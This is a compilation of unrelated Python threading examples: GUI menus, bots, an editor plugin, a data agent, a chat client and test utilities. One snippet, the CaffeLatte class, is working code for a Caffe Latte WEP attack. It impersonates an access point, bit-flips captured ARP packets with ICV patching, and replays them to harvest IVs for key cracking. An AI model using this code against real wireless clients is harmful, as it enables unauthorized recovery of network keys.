        for child in self.mighty2.winfo_children():
            child.grid_configure(padx=8, pady=2)

        # Creating a Menu Bar
        menu_bar = Menu(self.win)
        self.win.config(menu=menu_bar)

        # Add menu items
        file_menu = Menu(menu_bar, tearoff=0)
        file_menu.add_command(label="New")
        file_menu.add_separator()
        file_menu.add_command(label="Exit", command=self._quit)
        menu_bar.add_cascade(label="File", menu=file_menu)

        # Display a Message Box
        def _msgBox():
            msg.showinfo(
                'Python Message Info Box',
                'A Python GUI created using tkinter:\nThe year is 2019.')

        # Add another Menu to the Menu Bar and an item
        help_menu = Menu(menu_bar, tearoff=0)
        help_menu.add_command(
            label="About", command=_msgBox)  # display messagebox when clicked
        menu_bar.add_cascade(label="Help", menu=help_menu)

        # Change the main windows icon
        self.win.iconbitmap('pyc.ico')

        # It is not necessary to create a tk.StringVar()
        # strData = tk.StringVar()
        strData = self.spin.get()

        # call function
        self.usingGlobal()

        self.name_entered.focus()

        # Add Tooltips -----------------------------------------------------
        # Add a Tooltip to the Spinbox
        ToolTip(self.spin, 'This is a Spinbox control')

        # Add Tooltips to more widgets
        ToolTip(self.name_entered, 'This is an Entry control')
        ToolTip(self.action, 'This is a Button control')
        ToolTip(self.scrol, 'This is a ScrolledText control')
Пример #40
0
class MainMenu(Tkinter.Frame):

    _demos = {}

    def __init__(self, master, hide_vcdat=0, stdout=0):

        Tkinter.Frame.__init__(self, master)

        self._master = master
        self._stdout = stdout
        self._hide_vcdat = hide_vcdat
        self._about = 0
        self._select = 0
        self._idleEditor = 0
        self._threadVCDAT = 0
        master.title('CDAT Demo - Main Menu')

        #-----------------------------------
        # Create and install the MenuBar.
        #-----------------------------------

        self._menuBar = Pmw.MainMenuBar(master)
        master.config(menu=self._menuBar)

        # Add File
        self._menuBar.addmenu('File', '')

        # Add File->Exit
        self._menuBar.addmenuitem('File',
                                  'command',
                                  label='Exit',
                                  command=sys.exit)

        # Add Applications
        self._menuBar.addmenu('Applications', '')

        # Add Applications->...
        applications = [('Earth Sciences', self._cbackEarthSci),
                        ('Engineering', self._cbackEngineering),
                        ('Air Pollution', self._cbackAirPollution)]
        for lbl, cmd in applications:
            self._menuBar.addmenuitem('Applications',
                                      'command',
                                      label=lbl,
                                      command=cmd)

        # Add Features
        self._menuBar.addmenu('Features', '')

        # Add Features->...
        features = [('Visualization', self._cbackVisual),
                    ('Diagnostics', self._cbackDiagnostics),
                    ('Xmgrace', self._cbackXmgrace),
                    ('Data Analysis', self._cbackDataAnalysis),
                    ('Application Development', self._cbackAppDevel)]

        for lbl, cmd in features:
            self._menuBar.addmenuitem('Features',
                                      'command',
                                      label=lbl,
                                      command=cmd)

        if not self._hide_vcdat:
            # Add Run CDAT
            self._menuBar.addmenu('VCDAT', '')

            # Add Run CDAT->...
            runcdat = [('VCDAT (Lite)', self._cbackVCDATLite),
                       ('VCDAT (Full)', self._cbackVCDATFull)]
            for lbl, cmd in runcdat:
                self._menuBar.addmenuitem('VCDAT',
                                          'command',
                                          label=lbl,
                                          command=cmd)

        # Add Help
        self._menuBar.addmenu('Help', '')

        # Add Help->About
        self._menuBar.addmenuitem('Help',
                                  'command',
                                  label='About',
                                  command=self._aboutDialog)

        # Create buttons.
        if not self._hide_vcdat:
            background_fname = os.path.join(sys.exec_prefix, 'bin/images',
                                            'main_background.gif')
            buttons = [('Earth Sciences', 1, 23, self._cbackEarthSci,
                        self._onBtnEarthSciEnter),
                       ('Engineering', 1, 24, self._cbackEngineering,
                        self._onBtnEngineeringEnter),
                       ('Air Pollution', 1, 25, self._cbackAirPollution,
                        self._onBtnAirPollutionEnter),
                       ('CDAT Overview', 1, 31, self._cbackCDATOverview,
                        self._onBtnCDATOverviewEnter),
                       ('Run VCDAT (Lite)', 5, 28, self._cbackVCDATLite,
                        self._onBtnVCDATLiteEnter),
                       ('Run VCDAT (Full)', 5, 29, self._cbackVCDATFull,
                        self._onBtnVCDATFullEnter),
                       ('Visualization', 9, 27, self._cbackVisual,
                        self._onBtnVisualEnter),
                       ('Diagnostics', 9, 28, self._cbackDiagnostics,
                        self._onBtnDiagnosticsEnter),
                       ('Xmgrace', 9, 29, self._cbackXmgrace,
                        self._onBtnXmgraceEnter),
                       ('Data Analysis', 9, 30, self._cbackDataAnalysis,
                        self._onBtnDataAnalysisEnter),
                       ('Application Development', 9, 31, self._cbackAppDevel,
                        self._onBtnAppDevelEnter)]
        else:
            background_fname = os.path.join(sys.exec_prefix, 'bin/images',
                                            'main_background2.gif')
            buttons = [('Earth Sciences', 3, 23, self._cbackEarthSci,
                        self._onBtnEarthSciEnter),
                       ('Engineering', 3, 24, self._cbackEngineering,
                        self._onBtnEngineeringEnter),
                       ('Air Pollution', 3, 25, self._cbackAirPollution,
                        self._onBtnAirPollutionEnter),
                       ('CDAT Overview', 3, 27, self._cbackCDATOverview,
                        self._onBtnCDATOverviewEnter),
                       ('Visualization', 8, 23, self._cbackVisual,
                        self._onBtnVisualEnter),
                       ('Diagnostics', 8, 24, self._cbackDiagnostics,
                        self._onBtnDiagnosticsEnter),
                       ('Xmgrace', 8, 25, self._cbackXmgrace,
                        self._onBtnXmgraceEnter),
                       ('Data Analysis', 8, 26, self._cbackDataAnalysis,
                        self._onBtnDataAnalysisEnter),
                       ('Application Development', 8, 27, self._cbackAppDevel,
                        self._onBtnAppDevelEnter)]

        # Create a display frame container.
        self._display = Pmw.ScrolledFrame(master)
        self._display.pack(expand=1, fill='both')

        # Create the Main Menu.
        import MainDisplay
        self._curDisplay = MainDisplay.MainDisplay(self._display.interior(),
                                                   background_fname, buttons,
                                                   self._onBtnLeave)
        self._curDisplay.pack(expand=1, fill='both')
        self._curDisplay.update_idletasks()

        # Save the Main Menu display; will be used when
        # user clicks "Return to Main Menu" button.
        self._mainDisplay = self._curDisplay

        self._display.component('borderframe')['bd'] = 0
        self._display.component(
            'clipper')['width'] = self._curDisplay.getWidth() + 4
        self._display.component(
            'clipper')['height'] = self._curDisplay.getHeight() + 4

        # Create status display.
        self._statusBox = Pmw.Group(master, tag_pyclass=None)
        self._statusBox.pack(fill='x', padx=3, pady=2)
        self._statusText = Tkinter.Label(self._statusBox.interior())
        self._statusText.pack(side='left', padx=5, pady=2)
        self._setDefaultStatusText()
        self._setStatusText()

        # Demo sets configuration.
        self._demoNames = {
            'EARTH_SCI': ['Earth Sciences', 'earth_sciences.gif', '', '', ''],
            'ENGINEERING':
            ['Engineering', 'engineering.gif', 'engineering_ss.gif', '', ''],
            'AIR_POLLUTION':
            ['Air Pollution', 'air_pollution.gif', '', '', ''],
            'CDAT_OVERVIEW':
            ['Overview', 'cdat_overview.gif', 'cdat_overview_ss.gif', '', ''],
            'VISUAL': ['Visualization', 'visualization.gif', '', '', ''],
            'DIAGNOSTICS': ['Diagnostics', 'diagnostics.gif', '', '', ''],
            'XMGRACE': ['Xmgrace', 'xmgrace.gif', '', '', ''],
            'DATA_ANALYSIS':
            ['Data Analysis', 'data_analysis.gif', '', '', ''],
            'APP_DEVEL': [
                'Application Development', 'application_development.gif', '',
                '', ''
            ],
        }

        # Initialize demo sets to zero.
        for val in self._demoNames.values():
            name = val[0]
            self._demos[name] = 0

    def _setDefaultStatusText(self, arg=''):
        if arg == '':
            self._defaultStatusText = 'Welcome to the CDAT demo. Please select a topic.'
        else:
            self._defaultStatusText = arg

    def _onBtnLeave(self, event):
        self._setStatusText()

    def _onBtnEarthSciEnter(self, event):
        self._setStatusText('Select Earth Sciences topic.')

    def _onBtnEngineeringEnter(self, event):
        self._setStatusText('Select Engineering topic.')

    def _onBtnAirPollutionEnter(self, event):
        self._setStatusText('Select Air Pollution topic.')

    def _onBtnCDATOverviewEnter(self, event):
        self._setStatusText('Select CDAT overview topic.')

    def _onBtnVisualEnter(self, event):
        self._setStatusText('Select visualization topic.')

    def _onBtnVCDATLiteEnter(self, event):
        self._setStatusText('Run VCDAT in lite mode.')

    def _onBtnVCDATFullEnter(self, event):
        self._setStatusText('Run VCDAT in full mode.')

    def _onBtnDiagnosticsEnter(self, event):
        self._setStatusText('Select diagnostics topic.')

    def _onBtnXmgraceEnter(self, event):
        self._setStatusText('Select Xmgrace topic.')

    def _onBtnDataAnalysisEnter(self, event):
        self._setStatusText('Select data analysis topic.')

    def _onBtnAppDevelEnter(self, event):
        self._setStatusText('Select application development topic.')

    def _setStatusText(self, arg=''):
        if arg == '':
            self._statusText['text'] = self._defaultStatusText
        else:
            self._statusText['text'] = arg

    def _onAboutClose(self):
        self._about = 0

    def _aboutDialog(self):
        if self._about != 0:
            return
        self._about = About.About(self._master, self._onAboutClose)

        # Disable resize of splash screen.
        self._about.resizable(height=0, width=0)

    #----------------------------------------------------------------
    #  Called when user clicks "Return to Main Menu" button.
    #----------------------------------------------------------------
    def _onReturnDemo(self):

        # Remove current display
        self._curDisplay.pack_forget()

        # Set current display to be the Main Menu.
        self._curDisplay = self._mainDisplay
        self._curDisplay.pack()

        # Set ScrolledFrame dimensions.
        self._display.component(
            'clipper')['width'] = self._curDisplay.getWidth() + 4
        self._display.component(
            'clipper')['height'] = self._curDisplay.getHeight() + 4

        # Change title.
        self._master.title('CDAT Demo - Main Menu')

        # Reset status text.
        self._setDefaultStatusText()
        self._setStatusText()

    #----------------------------------------------------
    # Callback for closing the source code viewer.
    #----------------------------------------------------
    def _closeEditor(self):
        self._idleEditor.top.withdraw()
        self._idleEditor = 0

    #----------------------------------------------------
    # Display the Idle editor window.
    #----------------------------------------------------
    def _showEditor(self, fname, onlyIfExists=False):

        # Bail if requesting an already existing editor, but editor not there.
        if onlyIfExists and not self._idleEditor:
            return

        # If editor already exists, just update the file.
        if self._idleEditor:
            self._idleEditor.top.deiconify()
            self._idleEditor.top.tkraise()
            self._idleEditor.io.loadfile(fname)
            return

        from idlelib import PyShell
        flist = PyShell.PyShellFileList(self._master)
        sys.ps1 = 'CDAT> '
        from idlelib import EditorWindow
        self._idleEditor = EditorWindow.EditorWindow(root=self._master,
                                                     filename=fname,
                                                     flist=flist)
        self._idleEditor.top.protocol("WM_DELETE_WINDOW", self._closeEditor)

        # Delete the menubar options from the editor.
        self._idleEditor.menubar.delete('File')
        self._idleEditor.menubar.delete('Edit')
        self._idleEditor.menubar.delete('Format')
        self._idleEditor.menubar.delete('Run')
        self._idleEditor.menubar.delete('Options')
        self._idleEditor.menubar.delete('Windows')
        self._idleEditor.menubar.delete('Help')

    def _cbackGeneric(self, keywd):
        index = self._demoNames[keywd][0]
        fnameLogo = self._demoNames[keywd][1]
        fnameScreenshot = self._demoNames[keywd][2]
        balloon = self._demoNames[keywd][3]
        linky = self._demoNames[keywd][4]

        # Change the status text.
        self._setDefaultStatusText('CDAT ' + index + ' demo.')
        self._setStatusText()

        # Remove current display.
        self._curDisplay.pack_forget()

        # Set current display to be the selected demo set.
        self._curDisplay = DemoSet.DemoSet(self._display.interior(), fnameLogo,
                                           fnameScreenshot, keywd, balloon,
                                           linky, self._stdout,
                                           self._setStatusText,
                                           self._onReturnDemo,
                                           self._showEditor)
        self._curDisplay.pack(expand=0)

        # Set ScrolledFrame dimensions.
        self._display.component(
            'clipper')['width'] = self._curDisplay.getWidth() + 4
        self._display.component(
            'clipper')['height'] = self._curDisplay.getHeight() + 4

        # Change title.
        self._master.title('CDAT Demo - ' + index)

    def _cbackEarthSci(self):
        self._cbackGeneric('EARTH_SCI')

    def _cbackEngineering(self):
        self._cbackGeneric('ENGINEERING')

    def _cbackAirPollution(self):
        self._cbackGeneric('AIR_POLLUTION')

    def _cbackSpacePhys(self):
        self._cbackGeneric('SPACE_PHYS')

    def _cbackCDATOverview(self):
        self._cbackGeneric('CDAT_OVERVIEW')

    def _cbackVCDATLite(self):
        if self._threadVCDAT != 0:
            return
        self._threadVCDAT = Thread(target=self._callVCDATLite)
        self._threadVCDAT.start()
        self._setVCDATSelectionState('disabled')

    def _cbackVCDATFull(self):
        if self._threadVCDAT != 0:
            return
        self._threadVCDAT = Thread(target=self._callVCDATFull)
        self._threadVCDAT.start()
        self._setVCDATSelectionState('disabled')

    def _cbackVisual(self):
        self._cbackGeneric('VISUAL')

    def _cbackDiagnostics(self):
        self._cbackGeneric('DIAGNOSTICS')

    def _cbackXmgrace(self):
        self._cbackGeneric('XMGRACE')

    def _cbackDataAnalysis(self):
        self._cbackGeneric('DATA_ANALYSIS')

    def _cbackAppDevel(self):
        self._cbackGeneric('APP_DEVEL')

    def _callVCDATLite(self):
        # Run VCDAT in a blocking call, then reset after it returns.
        os.system('vcdat')
        self._threadVCDAT = 0
        self._setVCDATSelectionState('active')

    def _callVCDATFull(self):
        # Run VCDAT in a blocking call, then reset after it returns.
        os.system('vcdat -f')
        self._threadVCDAT = 0
        self._setVCDATSelectionState('active')

    def _setVCDATSelectionState(self, state):
        self._mainDisplay.getButton('Run VCDAT (Lite)')['state'] = state
        self._mainDisplay.getButton('Run VCDAT (Full)')['state'] = state
        self._menuBar.component('VCDAT').entryconfig(0, state=state)
        self._menuBar.component('VCDAT').entryconfig(1, state=state)
Пример #41
0
# Configure cogs
sheets_client = GoogleSheetsClient()
music_client = Music(bot)

bot.add_cog(music_client)


def start_bot():
    print("I be Connecting to Discord...")
    with open("./secret/token.txt") as token_file:
        token = token_file.readline().strip()
        bot.run(token)


# Run the bot on its own thread
thread = Thread(target=start_bot, args=())
thread.start()

# discord.py commands and events


@bot.event
async def on_ready():
    print("Success! %s is online!" % bot.user.name)


@bot.event
async def on_message(message):
    author = message.author
    channel = message.channel
    server = channel.server
 def create_thread(self):
     self.run_thread = Thread(target=self.method_in_a_thread, args=[8])
     self.run_thread.setDaemon(True)
     self.run_thread.start()
 def accept(self):
     while True:
         (client, address) = self.sock.accept()
         th = Thread(target=client_talk, args=(client, address))
         th.run()
class HighlightChangesCore:
    # highlight modes
    MODE_DOTS = "dots"
    MODE_TEXT = "text"

    def __init__(self):
        self.settings = sublime.load_settings(__name__ + '.sublime-settings')
        self.regions = []
        self._scope = "comment"
        self._current_region = 0
        self.diff_thread = None

    def highlight_as_you_type(self):
        return self.settings.get("highlight_as_you_type", True)

    def highlight_delay(self):
        return self.settings.get("highlight_delay", 2000)  # default delay is 2000ms

    def highlight_mode(self):
        return self.settings.get("highlight_mode", HighlightChangesCore.MODE_DOTS)  # default mode is "dots"

    def goto_next_diff(self, view):
        if self._current_region >= len(self.regions):
            self._current_region = 0
        if len(self.regions) > 0:
            view.show(self.regions[self._current_region])
        self._current_region += 1

    def get_diff(self, s1, s2):
        s = difflib.SequenceMatcher(None, s1, s2)
        unchanged = [(m[1], m[1] + m[2]) for m in s.get_matching_blocks()]
        diffs = []
        prev = unchanged[0]
        for u in unchanged[1:]:
                diffs.append((prev[1], u[0]))
                prev = u
        return diffs

    def highlight_sync(self, view, currentText, filename, mode):
        try:
            with open(filename, "rU") as f:
                originalText = f.read().decode('utf8')
            diffs = self.get_diff(originalText, currentText)
            if mode == HighlightChangesCore.MODE_TEXT:
                self.regions = [Region(d[0], d[1]) for d in diffs if d[0] != d[1]]
            if mode == HighlightChangesCore.MODE_DOTS:
                self.regions = [Region(d[1], d[1]) for d in diffs if d[0] != d[1]]
            # execute in gui thread
            sublime.set_timeout(functools.partial(view.add_regions, "changes", self.regions, self._scope, "dot"), 1)
        except:
            pass

    def is_enabled(self, view):
        if (view.file_name() and os.path.exists(view.file_name())):
            fs = os.path.getsize(view.file_name()) / 1024
            max_size = self.settings.get("max_allowed_file_size", 256)
            return fs < max_size
        else:
            return False

    def highlight(self, view):
        currentText = view.substr(Region(0, view.size()))
        filename = view.file_name()
        mode = self.highlight_mode()
        if self.is_enabled(view):
            self.diff_thread = Thread(target=self.highlight_sync, args=(view, currentText, filename, mode))
            if self.diff_thread.is_alive():
                pass
                #self.diff_thread._Thread__stop()
                #self.diff_thread.start()
            else:
                self.diff_thread.start()

    def clear(self, view):
        if view:
            view.add_regions("changes", [], "changes", "dot", sublime.DRAW_OUTLINED)
Пример #45
0
                                cs.sendMessage(msg.to,
                                               "Bye ! " + str(ginfo.name))
                                cz.sendMessage(msg.to,
                                               "Bye ! " + str(ginfo.name))
                                cl.leaveGroup(msg.to)
                                ca.leaveGroup(msg.to)
                                cs.leaveGroup(msg.to)
                                cz.leaveGroup(msg.to)
                            except:
                                pass
            except Exception as error:
                print(error)
    except Exception as error:
        print(error)


def thread():
    while True:
        try:
            ops = oepoll.singleTrace(count=50)
            if ops is not None:
                for op in ops:
                    mice(op)
                    oepoll.setRevision(op.revision)
        except Exception as e:
            print(e)


Thread(target=thread()).start()
print("Started")
Пример #46
0
class CaffeLatte(AirScannerPlugin, AirInjectorPlugin):

    def __init__(self):
        super(CaffeLatte, self).__init__("caffelatte")
        self.sniffing_interface = self.config["sniffing_interface"]
        self.ap_ssid = self.config["ap_ssid"]
        self.ap_bssid = self.config["ap_bssid"]
        self.destination_folder = self.config["caffelatte_log"]
        try:
            self.channel = int(self.config["fixed_sniffing_channel"])
            self.notification_divisor = int(self.config["notification_divisor"])
        except:
            print "[-] 'sniffing_channel' and 'notification_divisor' must be Integer."
            print "[-] Setting to default values: channel = 11, notification_divisor = 2000"
            self.channel = 11
            self.notification_divisor = 2000

        self.wep_ap = MinimalWEP(self.ap_ssid, self.ap_bssid, self.channel, self.sniffing_interface)
        self.tcpdump_logger = None  # tcpdump is used to capture packets because scapy is too slow and drops too many
        self.replay_attack_running = False
        self.replay_attack_thread = None
        self.filename = None

        self.original_arp_packets = []
        self.flipped_arp_packets = []
        self.target_client_mac = None

        self.n_captured_data_packets = 0
        self.n_arp_packets_sent = 0

    def identify_arp_packet(self, packet):
        return len(packet[Dot11WEP].wepdata) == 36 and \
            packet[Dot11].addr1 == self.ap_bssid and  \
            packet[Dot11].addr3 == "ff:ff:ff:ff:ff:ff"

    def flip_bits(self, packet):
        wepdata = packet[Dot11WEP].wepdata
        # Skip first 4 bytes corresponding to IV and KeyID
        # The ICV is included in the cyphertext and corresponds to the last 4 bytes
        cyphertext = str(packet[Dot11WEP])[4:]

        flipped_packet = packet.copy()  # Preserve the original wep packet
        # Create bitmask with same size as the encrypted wepdata, excluding the ICV
        bitmask = list('\x00' * len(wepdata))
        # Flip bits of the bitmask corresponding to the last byte of sender MAC and IP respectively
        bitmask[len(wepdata) - 15] = chr(randint(0, 255))
        bitmask[len(wepdata) - 11] = chr(randint(0, 255))

        # Create crc32 checksum for the bitmask
        icv_patch = calc_crc32(bitmask)
        icv_patch_bytes = pack("<I", icv_patch)
        final_bitmask = bitmask + list(icv_patch_bytes)  # Append the ICV patch to the bitmask data

        # Now apply the 'patch' to the wepdata and the icv by XORing the final_bitmask with the original cyphertext
        flipped_result = [ chr( ord(cyphertext[i]) ^ ord(final_bitmask[i]) ) for i in range(len(cyphertext)) ]
        final_result = str(packet[Dot11WEP])[:4] + "".join(flipped_result)

        # Put the results back in the packet
        flipped_packet[Dot11WEP] = Dot11WEP(final_result)
        # Now lets change the 802.11 information header to make it look like it came from a client.
        flipped_packet[Dot11].FCfield = "from-DS+retry+wep"
        flipped_packet[Dot11].addr1 = "ff:ff:ff:ff:ff:ff"
        flipped_packet[Dot11].addr3 = (packet[Dot11].addr2[:-2] + "%02x") % randint(0, 255)
        flipped_packet[Dot11].addr2 = self.ap_bssid

        return flipped_packet

    def replay_attack(self):
        socket = conf.L2socket(iface = self.sniffing_interface)
        flipped_packets = []

        print "[+] Starting replay attack"
        while self.replay_attack_running:
            # Always send fresh new packets
            try:
                for p in self.flipped_arp_packets:
                    socket.send(p)
                    self.n_arp_packets_sent += 1
            except: pass  # No buffer space available.. skip and keep sending

        print "[+] Stopped replay attack from last ARP packet"
        socket.close()

    def pre_scanning(self):
        # Start WEP access point
        self.wep_ap.start()

    def prepare_logger(self, client_mac):
        # Prepare Log file
        timestr = strftime("%Y|%m|%d-%H|%M|%S")
        self.filename = "caffelatte_{s}_{c}_{t}.pcap".format(s = self.ap_ssid, c = client_mac, t = timestr)
        filter_str = "wlan type data and (wlan addr1 {c} or wlan addr2 {c} or wlan addr3 {c})".format(c=client_mac)

        self.tcpdump_logger = TCPDumpLogger(self.sniffing_interface,
                                            self.destination_folder + self.filename,
                                            filter_str)

    def flip_original_arp_packets(self):
        del self.flipped_arp_packets[:]
        for p in self.original_arp_packets:
            for i in range(5):
                self.flipped_arp_packets.append(self.flip_bits(p))  # Randomness is invlolved so it is not a duplicate packet.

    def handle_packet(self, packet):
        if not self.replay_attack_running:
            self.wep_ap.respond_to_packet(packet)

        if Dot11WEP in packet:
            if self.identify_arp_packet(packet):
                client_mac = ClientPacket(packet).client_mac

                if self.target_client_mac is None:
                    self.target_client_mac = client_mac

                if self.target_client_mac == client_mac and len(self.original_arp_packets) < 5:
                    print "[+] Found a new ARP packet"
                    print "[+] Flipping and adding to the flipped packets ring."
                    self.original_arp_packets.append(packet)
                    self.flip_original_arp_packets()

                if not self.replay_attack_running:
                    self.prepare_logger(client_mac)

                    self.replay_attack_running = True
                    self.replay_attack_thread = Thread(target=self.replay_attack)

                    self.replay_attack_thread.start()
                    self.tcpdump_logger.start_logging()

                else:
                    if  "iv" in packet[Dot11WEP].fields.keys():
                        self.n_captured_data_packets += 1   # increments count but only for comparison purposes
                                                            # real count is from tcpdump

                        if self.n_captured_data_packets % self.notification_divisor == 0 and \
                           self.n_captured_data_packets > 0:
                            self.n_captured_data_packets = self.tcpdump_logger.get_wep_data_count()
                            print "[+] tcpdump captured {} wep data packets so far...".format(self.n_captured_data_packets)

    def post_scanning(self):
        self.replay_attack_running = False
        self.wep_ap.shutdown()

        if self.tcpdump_logger is not None:
            if self.tcpdump_logger.is_logging():
                self.tcpdump_logger.stop_logging()

        if self.replay_attack_thread is not None:
            self.replay_attack_thread.join()
Пример #47
0
class Agent(object):
    def __init__(self, _in=defaultIn, out=defaultOut, handler=None):
        self._in = _in
        self._out = out

        self._thread = None
        self.handler = handler
        self._write_lock = Lock()

    # Start the agent.
    # This method returns immediately
    def start(self):
        self._thread = Thread(target=self._read_loop)
        self._thread.start()

    # Wait for the Agent to terminate.
    # The Agent will terminate if STDIN is closed or an error occurs
    def wait(self):
        self._thread.join()
        self._in.close()
        self._out.close()

    # Write a response to STDOUT.
    # This method is thread safe.
    def write_response(self, response, flush=False):
        if response is None:
            raise Exception("cannot write None response")

        # Serialize message
        self._write_lock.acquire()
        try:
            data = response.SerializeToString()
            # Write message len
            encodeUvarint(self._out, len(data))
            # Write message
            self._out.write(data)
            if flush:
                self._out.flush()
        finally:
            self._write_lock.release()

    # Read requests off input stream
    def _read_loop(self):
        request = udf_pb2.Request()
        while True:
            msg = 'unknown'
            try:
                size = decodeUvarint32(self._in)
                data = self._in.read(size)

                request.ParseFromString(data)

                # use parsed message
                msg = request.WhichOneof("message")
                if msg == "info":
                    response = self.handler.info()
                    self.write_response(response, flush=True)
                elif msg == "init":
                    response = self.handler.init(request.init)
                    self.write_response(response, flush=True)
                elif msg == "keepalive":
                    response = udf_pb2.Response()
                    response.keepalive.time = request.keepalive.time
                    self.write_response(response, flush=True)
                elif msg == "snapshot":
                    response = self.handler.snapshot()
                    self.write_response(response, flush=True)
                elif msg == "restore":
                    response = self.handler.restore(request.restore)
                    self.write_response(response, flush=True)
                elif msg == "begin":
                    self.handler.begin_batch(request.begin)
                elif msg == "point":
                    self.handler.point(request.point)
                elif msg == "end":
                    self.handler.end_batch(request.end)
                else:
                    logger.error("received unhandled request %s", msg)
            except EOF:
                break
            except Exception as e:
                traceback.print_exc()
                error = "error processing request of type %s: %s" % (msg, e)
                logger.error(error)
                response = udf_pb2.Response()
                response.error.error = error
                self.write_response(response)
                break
Пример #48
0
 def startreadingserial(self):
     for ard in self.ardlist:
         #q=self.mainbuf[i]
         t=Thread(target=self.ardserial,args=(ard,))
         t.start()
Пример #49
0
 def __init__(self, options, config):
     Auxiliary.__init__(self, options, config)
     Thread.__init__(self)
     self.enabled = config.screenshots_windows
     self.do_run = self.enabled
Пример #50
0
 def start(self):
     self._thread = Thread(target=self._read_loop)
     self._thread.start()
Пример #51
0
            else:
                print(received_message)
                messages.append(received_message)

        except OSError:
            print("Disconnected from the server")
            break


def send_messages():
    global messages
    while True:
        send_message = input()

        if send_message == "quit":
            client_socket.send(bytes(send_message, "utf8"))
            client_socket.close()
            sys.exit()

        elif send_message == "exportmessages":
            text_file = open("messages.txt", "w")
            text_file.writelines(messages)
            text_file.close()

        else:
            client_socket.send(bytes(send_message, "utf8"))


Thread(target=receive_messages).start()
Thread(target=send_messages).start()
Пример #52
0
def keep_alive():
    t = Thread(target=run)
    t.start()
Пример #53
0
    def testSpeed(self, testThread, cases):
        """Function to launch test threads and calculate upload/download speeds"""
        totalCases = len(cases)
        finishedBytes = []
        startTime = []
        finishTime = []
        jobs = Queue(6)  # Job queue, max 6 concurrent jobs

        baseTime = time.time()

        def testLauncher(q, cases):
            for case in cases:
                thread = testThread(baseTime, case, self.cancelEvent,
                                    self.quiet)
                thread.start()
                q.put(thread, True)

        def resultConsumer(q, totalCases):
            while len(finishedBytes) < totalCases:
                thread = q.get(True)
                while thread.isAlive():
                    thread.join(timeout=0.1)
                finishedBytes.append(thread.bytes)
                if thread.finishTime != 0:
                    startTime.append(thread.startTime)
                    finishTime.append(thread.finishTime)
                del thread

        launcher = Thread(target=testLauncher, args=(jobs, cases))
        consumer = Thread(target=resultConsumer, args=(jobs, len(cases)))
        launcher.start()
        consumer.start()

        while launcher.isAlive():
            launcher.join(timeout=0.1)
        while consumer.isAlive():
            consumer.join(timeout=0.1)

        del launcher
        del consumer

        if self.cancelEvent.isSet():
            return 0

        return (sum(finishedBytes) / (max(finishTime) - min(startTime)))
Пример #54
0
class TestService(Job.Service):
    def __init__(self, messageInt, *args, **kwargs):
        """
        While established the service repeatedly:
             - reads an integer i from the inJobStoreFileID file
             - writes i and messageInt to the outJobStoreFileID file
        """
        Job.Service.__init__(self, *args, **kwargs)
        self.messageInt = messageInt

    def start(self, job):
        assert self.disk is not None
        assert self.memory is not None
        assert self.cores is not None
        self.terminate = Event()
        self.error = Event()
        inJobStoreID = job.fileStore.jobStore.getEmptyFileStoreID()
        outJobStoreID = job.fileStore.jobStore.getEmptyFileStoreID()
        self.serviceThread = Thread(target=self.serviceWorker,
                                    args=(job.fileStore.jobStore, self.terminate, self.error,
                                          inJobStoreID, outJobStoreID,
                                          self.messageInt))
        self.serviceThread.start()
        return (inJobStoreID, outJobStoreID)

    def stop(self, job):
        self.terminate.set()
        self.serviceThread.join()

    def check(self):
        if self.error.isSet():
            raise RuntimeError("Service worker failed")
        return True

    @staticmethod
    def serviceWorker(jobStore, terminate, error, inJobStoreID, outJobStoreID, messageInt):
        try:
            while True:
                if terminate.isSet(): # Quit if we've got the terminate signal
                    logger.debug("Demo service worker being told to quit")
                    return

                time.sleep(0.2) # Sleep to avoid thrashing

                # Try reading a line from the input file
                try:
                    with jobStore.readFileStream(inJobStoreID) as fH:
                        line = fH.readline()
                except:
                    logger.debug("Something went wrong reading a line")
                    raise

                # Try converting the input line into an integer
                try:
                    inputInt = int(line)
                except ValueError:
                    logger.debug("Tried casting input line to integer but got error: %s" % line)
                    continue

                # Write out the resulting read integer and the message              
                with jobStore.updateFileStream(outJobStoreID) as fH:
                    fH.write("%s %s\n" % (inputInt, messageInt))
        except:
            error.set()
            raise
Пример #55
0
class ExpfactoryRobot(object):
    ''' bring up a server with a custom robot
        
        Defaults
        ==========

        pause_time: time to wait between browser commands
        port: a random choice between 8000 and 9999
    '''
  
    def __init__(self, **kwargs):
        self.Handler = ExpfactoryServer
        if "port" in kwargs:
            self.port = kwargs['port']
        else:       
            self.port = choice(range(8000,9999))
        bot.debug('Selected port is %s' %self.port)
        self.httpd = TCPServer(("", self.port), self.Handler)
        self.server = Thread(target=self.httpd.serve_forever)
        self.server.setDaemon(True)
        self.server.start()
        self.started = True
        self.pause_time = 100
        self.browser = None
        self.headless = False
        self.display = None
        self.driver = "Chrome"
        if "browser" in kwargs:
            self.driver = kwargs['browser']


    def validate(self, folder):
        '''validate is the first entrypoint function for running an experiment
           or survey robot. It ensures that the content is valid,
           and then calls _validate (should be defined in subclass)'''
            
        validator = ExperimentValidator()
        valid = validator.validate(folder)

        if valid is True:

            # IF missing favicon, add
            self._check_favicon(folder)

            valid = self._validate(folder)
            bot.log("[done] stopping web server...")
            self.httpd.server_close()
        else:
            bot.warning('%s is not valid, skipping robot testing.' %folder)


    def _validate(self, folder=None):
        '''_validate is required to be implemented in the subclass
        '''
        raise NotImplementedError


    def _check_favicon(self, folder):
        '''add the expfactory favicon if the user doesn't already have one.
        '''
        here = "%s/favicon.ico" %os.path.abspath(os.path.dirname(__file__))
        there = '%s/favicon.ico' %folder
        if not os.path.exists(there):
            shutil.copyfile(here, there)

    def check_errors(self):
   
        if self.browser is not None:
            # Look at log from last call
            log = self.browser.get_log("browser")
            for log_entry in log:
                assert_equal(log_entry["level"] in ["WARNING","INFO"],True)


    def get_browser(self,name=None):
        '''get_browser 
           return a browser if it hasn't been initialized yet
        '''
        if name is None:
            name=self.driver

        service_log_path = "%s-driver.log" %name.lower()
        if self.browser is None:
            if name.lower() == "Firefox":
                self.browser = webdriver.Firefox(service_log_path=service_log_path)
            else:
                self.browser = webdriver.Chrome(service_log_path=service_log_path)
        return self.browser

    
    def get_page(self, url, name='Chrome'):
        '''get_page
            open a particular url, checking for Timeout
        '''
        if self.browser is None:
            self.browser = self.get_browser(name)

        try:
            return self.browser.get(url)
        except TimeoutException:
            bot.error('Browser request timeout. Are you connected to the internet?')
            self.browser.close()
            sys.exit(1)

    def stop(self):
        '''close any running browser or server, and shut down the robot
        '''
        if self.browser is not None:
            self.browser.close()
        self.httpd.server_close() 

        if self.display is not None:
            self.display.close()

    # Run javascript and get output
    def run_javascript(browser,code):
        if self.browser is not None:
            return browser.execute_script(code)
Пример #56
0
